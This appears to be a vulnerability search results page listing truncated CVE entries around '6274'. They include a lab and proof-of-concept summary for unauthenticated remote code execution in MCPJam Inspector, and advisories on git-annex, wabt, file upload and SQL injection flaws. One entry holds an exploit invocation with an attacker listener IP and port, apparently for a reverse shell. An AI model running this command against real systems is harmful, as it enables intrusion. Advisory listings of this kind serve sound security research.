47 matches found
CVE-2026-23744-Lab
CVE-2026-23744 – MCPJam Inspector Docker Lab 이 저장소는 CVE-2026-23744 에 대한 MCPJam Inspector의 취약한 빌드와 패치된 빌드를 비교 하기 위한 소형 Docker 랩입니다. 학습 목적과 공개 보안 포트폴리오 구축을 위해 설계되었습니다: 빠른 설정, 명확한 증거, 스크린샷. ⚠️ 윤리 / 범위 : 소유한 시스템 또는 명시적 테스트 허가를 받은 시스템에서만 테스트하세요. 이 저장소는 로컬 재현 및 문서화를 위한 것입니다. 이 랩이 시연하는 내용 취약한 버전1.4.2은...
CVE-2026-23744-POC
CVE-2026-23744 — MCP 서버 인증 없는 원격 코드 실행 작성자:d3vn0mi의 개념 증명 익스플로잇 개요 CVE-2026-23744 은 포트 6274에 노출된 MCP 호환 서버에서 발생하는 인증 없는 원격 코드 실행RCE 취약점입니다. /api/mcp/connect 엔드포인트는 호출자가 임의의 OS 명령과 인자를 지정할 수 있는 serverConfig 객체를 허용하며, 인증이나 권한 검사가 전혀 수행되지 않습니다. 서비스에 네트워크로 접근할 수 있는 공격자는 MCP 서버를 실행 중인 사용자의 권한으로 임의의 명령...
CVE-2026-23744
CVE-2026-23744 python3 CVE-2026-23744.py -u http://devhub.htb:6274 -i 10.10.14.106 -p 4321...
CVE-2026-6274
creationtimestamp| type| source ---|---|--- 2026-06-05 10:00:51+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mnjuy6cxuh2d 2026-06-05 10:00:51+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mnjuy6cxuh2d 2026-06-05 10:30:31+00:00| seen|...
SUSE CVE-2014-6274
git-annex had a bug in the S3 and Glacier remotes where if embedcreds=yes was set, and the remote used encryption=pubkey or encryption=hybrid, the embedded AWS credentials were stored in the git repository in effectively plaintext, not encrypted as they were supposed to be. This issue affects...
CVE-2014-6274
creationtimestamp| type| source ---|---|--- 2025-06-27 00:49:06+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3lskg7rbr552s 2025-06-27 18:51:48+00:00| seen| https://t.me/DarkWebInformerCVEAlerts/19775...
CVE-2014-6274
A credential storage flaw was found in git-annex. In specific conditions, AWS credentials were stored in effective plaintext. Mitigation Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use an...
CVE-2014-6274
git-annex had a bug in the S3 and Glacier remotes where if embedcreds=yes was set, and the remote used encryption=pubkey or encryption=hybrid, the embedded AWS credentials were stored in the git repository in effectively plaintext, not encrypted as they were supposed to be. This issue affects...
CVE-2014-6274 S3 and Glacier remotes creds embedded in the git repo were not encrypted
git-annex had a bug in the S3 and Glacier remotes where if embedcreds=yes was set, and the remote used encryption=pubkey or encryption=hybrid, the embedded AWS credentials were stored in the git repository in effectively plaintext, not encrypted as they were supposed to be. This issue affects...
CVE-2014-6274 S3 and Glacier remotes creds embedded in the git repo were not encrypted
git-annex had a bug in the S3 and Glacier remotes where if embedcreds=yes was set, and the remote used encryption=pubkey or encryption=hybrid, the embedded AWS credentials were stored in the git repository in effectively plaintext, not encrypted as they were supposed to be. This issue affects...
CVE-2014-6274
git-annex had a bug in the S3 and Glacier remotes where if embedcreds=yes was set, and the remote used encryption=pubkey or encryption=hybrid, the embedded AWS credentials were stored in the git repository in effectively plaintext, not encrypted as they were supposed to be. This issue affects...
CVE-2025-6274
A vulnerability was found in WebAssembly wabt up to 1.0.37. It has been classified as problematic. Affected is the function OnDataCount of the file src/interp/binary-reader-interp.cc. The manipulation leads to resource consumption. Attacking locally is a requirement. The exploit has been disclose...
CVE-2025-6274
CVE-2025-6274 affects WebAssembly wabt up to 1.0.37, specifically OnDataCount in src/interp/binary-reader-interp.cc. The issue is caused by input manipulation that leads to resource consumption, enabling a local attacker to trigger denial-of-service behavior. The exploit has been disclosed public...
CVE-2025-6274 WebAssembly wabt binary-reader-interp.cc OnDataCount resource consumption
A vulnerability was found in WebAssembly wabt up to 1.0.37. It has been classified as problematic. Affected is the function OnDataCount of the file src/interp/binary-reader-interp.cc. The manipulation leads to resource consumption. Attacking locally is a requirement. The exploit has been disclose...
CVE-2025-6274 WebAssembly wabt binary-reader-interp.cc OnDataCount resource consumption
A vulnerability was found in WebAssembly wabt up to 1.0.37. It has been classified as problematic. Affected is the function OnDataCount of the file src/interp/binary-reader-interp.cc. The manipulation leads to resource consumption. Attacking locally is a requirement. The exploit has been disclose...
CVE-2023-6274
A vulnerability was found in Byzoro Smart S80 up to 20231108. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /sysmanage/updatelib.php of the component PHP File Handler. The manipulation of the argument fileupload leads to unrestricted...
CVE-2024-6274
A vulnerability classified as critical has been found in lahirudanushka School Management System 1.0.0/1.0.1. This affects an unknown part of the file /attendancelist.php of the component Attendance Report Page. The manipulation of the argument aid leads to sql injection. It is possible to initia...
CVE-2024-6274 lahirudanushka School Management System Attendance Report Page attendancelist.php sql injection
A vulnerability classified as critical has been found in lahirudanushka School Management System 1.0.0/1.0.1. This affects an unknown part of the file /attendancelist.php of the component Attendance Report Page. The manipulation of the argument aid leads to sql injection. It is possible to initia...
CVE-2024-6274 lahirudanushka School Management System Attendance Report Page attendancelist.php sql injection
A vulnerability classified as critical has been found in lahirudanushka School Management System 1.0.0/1.0.1. This affects an unknown part of the file /attendancelist.php of the component Attendance Report Page. The manipulation of the argument aid leads to sql injection. It is possible to initia...
